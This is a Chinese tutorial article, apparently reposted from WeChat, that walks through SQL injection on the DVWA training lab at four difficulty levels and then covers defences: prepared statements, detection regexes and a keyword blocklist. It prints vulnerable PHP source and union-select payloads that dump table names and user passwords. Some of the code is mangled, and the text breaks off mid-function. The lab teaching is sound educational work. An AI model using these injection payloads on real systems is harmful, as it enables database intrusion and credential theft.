专栏名称: 安全龙
安全龙(anquanlong.com)专注做企业网络安全服务与网络安全技术培训!致力于为企业培养网络安全工程师人才、健全网络安全保障体系、提高网络安全保护能力的网络安全综合服务平台。
目录
相关文章推荐
人民网舆情数据中心  ·  代表委员建言献策 ... ·  22 小时前  
安徽文旅  ·  2025年文旅统计快报(第23期) ·  昨天  
安徽文旅  ·  2025年文旅统计快报(第23期) ·  昨天  
人民网舆情数据中心  ·  被曝有人在门店往火锅小便,海底捞及时回应公众 ... ·  2 天前  
北京新闻广播  ·  承认成绩造假!“考研名师”何凯文道歉 ·  3 天前  
北京新闻广播  ·  承认成绩造假!“考研名师”何凯文道歉 ·  3 天前  
泗县人网上家园  ·  有人落水!这群安徽学生上演“教科书式”救人 ·  3 天前  
泗县人网上家园  ·  有人落水!这群安徽学生上演“教科书式”救人 ·  3 天前  
51好读  ›  专栏  ›  安全龙

DVWA漏洞靶场之SQL注入渗透测试

安全龙  · 公众号  ·  · 2018-08-01 05:13

正文

本文教程由五个部分组成:

dvwa SQL注入漏洞低级教程 SQL Injection Low

dvwa SQL注入漏洞中级教程 SQL Injection medium

dvwa SQL注入漏洞高级教程 SQL Injection High

dvwa SQL注入漏洞不可能破解教程 SQL Injection impossible

dvwa SQL注入漏洞WEB安全参考 SQL Injection Safety Guide

系列教程说明

WEB渗透测试DVWA漏洞靶场通关系列教程

描述:dvwa 靶场介绍、dvwa 靶场安装、dvwa 靶场使用教程说明 点击这里 ,合在一起的。向本号回复“ dvwa ”将会获得最新更新系列文章;


第一部分 dvwa SQL注入漏洞低级教程

大家好,今天我们要学习SQL注入,我想大家应该都听说过吧,这个的名气还是很大的。

什么是SQL注入

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
还是老规矩我们先来看看代码吧。

 

ifisset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die'
'
 . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

// Get results
while ( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row[ "first_name" ];
$last  = $row[ "last_name" ];

// Feedback for end user
echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
;
}

mysqli_close($GLOBALS[ "___mysqli_ston" ]);
}

?>

从下面的代码中我们可以知道是字符型注入。

 $id = $_REQUEST'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

我们来试试看。



我们提交 1' and '1'='1 的时候正常,提交1' and '1'='2 是空的 说明是有注入的。那我们来看看能不能得到别的信息吧。


1.猜解SQL查询语句中的字段数

用 order by 语句




我们用order by 语句查询的时候发现在3出错,那就意味着字段数为2.


2.确定显示的字段顺序


说明是firstname ,surname这个顺序。


3.获取当前数据库

用联合查询

 1' union select 1,datebase() #

好了dvwa是数据库的名,我们继续吧。


4.获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database




    
() 

我们用这个语句来查询。

成功获得两个表名


5.字段名

用这个语句查询

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #   



6.账户密码

用这个语句

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(passwordfrom users #   

哈哈,最后一步是很激动的,大家一起去试试看。


第二部分 dvwa SQL注入漏洞中级教程

话不多说,我们看中级代码。

 

ifisset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die'
'
 . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );

// Get results
while ( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row[ "first_name" ];
$last  = $row[ "last_name" ];

// Feedback for end user
echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
;
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;" ;
$result = mysqli_query($GLOBALS[ "___mysqli_ston" ],  $query ) or die ( '
'
. ((is_object($GLOBALS[ "___mysqli_ston" ])) ? mysqli_error($GLOBALS[ "___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '' );
$number_of_rows = mysqli_fetch_row( $result )[ 0 ];

mysqli_close($GLOBALS[ "___mysqli_ston" ]);
?>

从下面的代码我们知道是数字型注入。

  $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:

\x00
\n
\r
\
'
"
\x1a


如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
而且前端用了下拉菜单,控制用户的输入。


但是我们可以直接抓包修改。

看到了没有直接提交
后面的步骤和低级差不多只是不要单引号了。

一直到这里都和前面一样但是呢,接着看。

我们获取字段的时候单引号被转义了,但是我们可以进行16进制编码。

这样就欧克了。
然后最后一步了。

大家去试试看吧。


第三部分 dvwa SQL注入漏洞高级教程

我们来看看高级的代码吧。

 

ifisset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die'
Something went wrong.
'
 ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"

    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);         


?>
 


就加了个 LIMIT 1,我们可以用#注释掉,步骤和低级一样,只是在最后你注入的代码中输入 #就行了,我们直接进行最后一步。


第四部分 dvwa SQL注入漏洞不可能破解教程

来看看不可能的代码

 

ifisset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"

        } 
    } 


// Generate Anti-CSRF token 
generateSessionToken(); 

?>
  

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。


第五部分 dvwa SQL注入漏洞WEB安全参考

我们来看看有哪些防卫机制
1.预防数字注入:
很简单,因为ColID字段的类型是int的,那么我们只需要验证一下传递过来的id是不是整数就可以了。是整数就不存在注入;如果不是那么就有可能存在注入。即使不存在注入,把一个不是整数的id拼接进去也会造成执行错误。所以说不管是不是为了预防SQL注入,也都应该验证id是不是整数。
验证方法嘛,可以用TryParse,可以用正则,也可以自己写函数验证。但是不建议用try异常的方式,因为这个有效率问题。
这里还有一个特殊情况,就是对于批量删除这类的会传递过来多个数字,比如“1,2,3,10”,这个也需要验证一下,万一有人利用这个漏洞呢。至于验证方法也很简单,自己写个函数就ok了。
2.使用正则表达式过滤传入的参数


要引入的包:
import java.util.regex.*;
正则表达式:
private String CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;
判断是否匹配:
Pattern.matches(CHECKSQL,targerStr);
下面是具体的正则表达式:

检测SQL meta-characters的正则表达式 :
/(\%27)|(\’)|(--)|(\%23)|(#)/ix
修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^\n]((\%27)|(\’)|(--)|(\%3B)|(:))/i   典型的SQL 注入攻击的正则表达式 :/\w((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(\’))union/ix(\%27)|(\’)
检测MS SQL Server SQL注入攻击的正则表达式:
/exec(\s|+)+(s|x)p\w+/ix
等等…..


3.字符串过滤
比较通用的一个方法:
(||之间的参数可以根据自己程序的需要添加)

public static boolean sql_inj(String str)  
{   
String inj_str = "'|and|exec|insert|select|delete|update|    
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,"
;  
String inj_stra[] = split






请到「今天看啥」查看全文